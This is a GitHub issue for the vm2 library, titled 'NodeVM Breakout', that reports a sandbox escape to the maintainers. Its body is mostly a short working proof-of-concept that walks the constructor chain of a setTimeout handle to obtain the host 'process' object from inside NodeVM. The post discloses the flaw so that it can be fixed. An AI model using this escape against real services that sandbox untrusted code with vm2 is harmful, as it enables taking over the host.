Skip to content

NodeVM Breakout #276

@XmiliaH

Description

@XmiliaH

NodeVMs sandbox.js is quite poorly written and needs an overhaul since it has at least one breakout:

const {NodeVM} = require('vm2');

const vm = new NodeVM();

console.log(vm.run('('+function() {
	exports.process = setTimeout(()=>{}).ref().constructor.constructor('return process')();
}+')()'));

Metadata

Metadata

Assignees

No one assigned

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions